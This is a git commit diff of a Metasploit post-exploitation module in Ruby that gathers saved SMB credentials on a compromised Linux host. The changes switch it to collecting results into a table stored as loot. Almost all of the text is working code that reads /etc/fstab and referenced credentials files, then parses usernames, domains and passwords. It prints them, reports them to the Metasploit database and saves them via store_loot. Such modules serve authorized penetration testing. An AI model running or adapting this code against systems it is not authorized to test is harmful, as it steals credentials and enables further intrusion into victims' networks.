Renamed, switched partially to store_loot
parent
1b03a48540
commit
4aa52203da
|
@ -9,8 +9,8 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Linux Gather credentials saved for mount.smbfs',
|
'Name' => 'Linux Gather credentials saved for mount.cifs/mount.smbfs',
|
||||||
'Description' => %q{Post Module to obtain credentials saved for mount.smbfs in /etc/fstab on a Linux system},
|
'Description' => %q{Post Module to obtain credentials saved for mount.cifs/mount.smbfs in /etc/fstab on a Linux system},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>'],
|
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>'],
|
||||||
'Platform' => [ 'linux' ],
|
'Platform' => [ 'linux' ],
|
||||||
|
@ -21,8 +21,25 @@ class Metasploit3 < Msf::Post
|
||||||
def run
|
def run
|
||||||
# keep track of any of the credentials files we read so we only read them once
|
# keep track of any of the credentials files we read so we only read them once
|
||||||
cred_files = []
|
cred_files = []
|
||||||
|
# where we'll store hashes of found credentials while parsing. reporting is done at the end.
|
||||||
|
creds = []
|
||||||
|
# A table to store the found credentials for loot storage afterward
|
||||||
|
cred_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => "mount.cifs credentials",
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' =>
|
||||||
|
[
|
||||||
|
"Username",
|
||||||
|
"Password",
|
||||||
|
"Server",
|
||||||
|
"File"
|
||||||
|
])
|
||||||
|
|
||||||
|
# parse each line from /etc/fstab
|
||||||
read_file("/etc/fstab").each_line do |fstab_line|
|
read_file("/etc/fstab").each_line do |fstab_line|
|
||||||
fstab_line.strip!
|
fstab_line.strip!
|
||||||
|
# where we'll store the current parsed credentials, if any
|
||||||
|
cred = {}
|
||||||
# if the fstab line utilizies the credentials= option, read the credentials from that file
|
# if the fstab line utilizies the credentials= option, read the credentials from that file
|
||||||
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
|
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
|
||||||
host = $1
|
host = $1
|
||||||
|
@ -36,19 +53,37 @@ class Metasploit3 < Msf::Post
|
||||||
# store it if we haven't
|
# store it if we haven't
|
||||||
cred_files << file
|
cred_files << file
|
||||||
# parse the credentials
|
# parse the credentials
|
||||||
auth = parse_credentials_file(file)
|
creds << parse_credentials_file(file)
|
||||||
# report
|
|
||||||
report_cifscreds(host, auth, file)
|
|
||||||
# if the credentials are directly in /etc/fstab, parse them
|
# if the credentials are directly in /etc/fstab, parse them
|
||||||
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
|
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
|
||||||
auth = parse_fstab_credentials(fstab_line)
|
creds << parse_fstab_credentials(fstab_line)
|
||||||
report_cifscreds(host, auth, "/etc/fstab")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# all done. clean up, report and loot.
|
||||||
|
creds.flatten!
|
||||||
|
creds.compact!
|
||||||
|
creds.uniq!
|
||||||
|
creds.each do |cred|
|
||||||
|
# XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case,
|
||||||
|
# host[:host] is *not* a Host. Fix this some day.
|
||||||
|
if (Rex::Socket.dotted_ip?(cred[:host]))
|
||||||
|
report_auth_info({ :port => 445, :sname => 'smb', :type => 'password', :active => true }.merge(cred))
|
||||||
|
end
|
||||||
|
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
|
||||||
|
print_good("SMB credentials: user=#{cred[:user]}, pass=#{cred[:pass]}, host=#{cred[:host]} from #{cred[:file]}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# store all found credentials
|
||||||
|
unless (creds.empty?)
|
||||||
|
store_loot("mount.cifs.creds", "text/csv", session, cred_table.to_csv, "mount_cifs_credentials.txt", "mount.cifs credentials")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_fstab_credentials(line)
|
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
|
||||||
|
# Returns the username+domain and password as a hash, nil if nothing is found.
|
||||||
|
def parse_fstab_credentials(line, file="/etc/fstab")
|
||||||
creds = {}
|
creds = {}
|
||||||
# get the username option, which comes in one of four ways
|
# get the username option, which comes in one of four ways
|
||||||
user_opt = $1 if (line =~ /user(?:name)?=([^, ]+)/)
|
user_opt = $1 if (line =~ /user(?:name)?=([^, ]+)/)
|
||||||
|
@ -75,9 +110,12 @@ class Metasploit3 < Msf::Post
|
||||||
# get the domain option, if any
|
# get the domain option, if any
|
||||||
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
|
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
|
||||||
|
|
||||||
creds
|
creds[:file] = file unless (creds.empty?)
|
||||||
|
(creds.empty? ? nil : creds)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Parse mount.cifs credentials from +file+, returning the username+domain and password
|
||||||
|
# as a hash, nil if nothing is found.
|
||||||
def parse_credentials_file(file)
|
def parse_credentials_file(file)
|
||||||
creds = {}
|
creds = {}
|
||||||
domain = nil
|
domain = nil
|
||||||
|
@ -93,23 +131,8 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
# prepend the domain if one was found
|
# prepend the domain if one was found
|
||||||
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
|
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
|
||||||
|
creds[:file] = file unless (creds.empty?)
|
||||||
|
|
||||||
creds
|
(creds.empty? ? nil : creds)
|
||||||
end
|
|
||||||
|
|
||||||
# Report SMB auth info +auth+ for +host+ found in +file+
|
|
||||||
def report_cifscreds(host, auth, file)
|
|
||||||
# report if we found something
|
|
||||||
if (auth[:user] or auth[:pass])
|
|
||||||
auth = {
|
|
||||||
:host => host,
|
|
||||||
:port => 445,
|
|
||||||
:sname => 'smb',
|
|
||||||
:type => 'password',
|
|
||||||
:active => true
|
|
||||||
}.merge(auth)
|
|
||||||
report_auth_info(auth)
|
|
||||||
print_good("SMB credentials: user=#{auth[:user]}, pass=#{auth[:pass]}, host=#{auth[:host]} from #{file}")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
Loading…
Reference in New Issue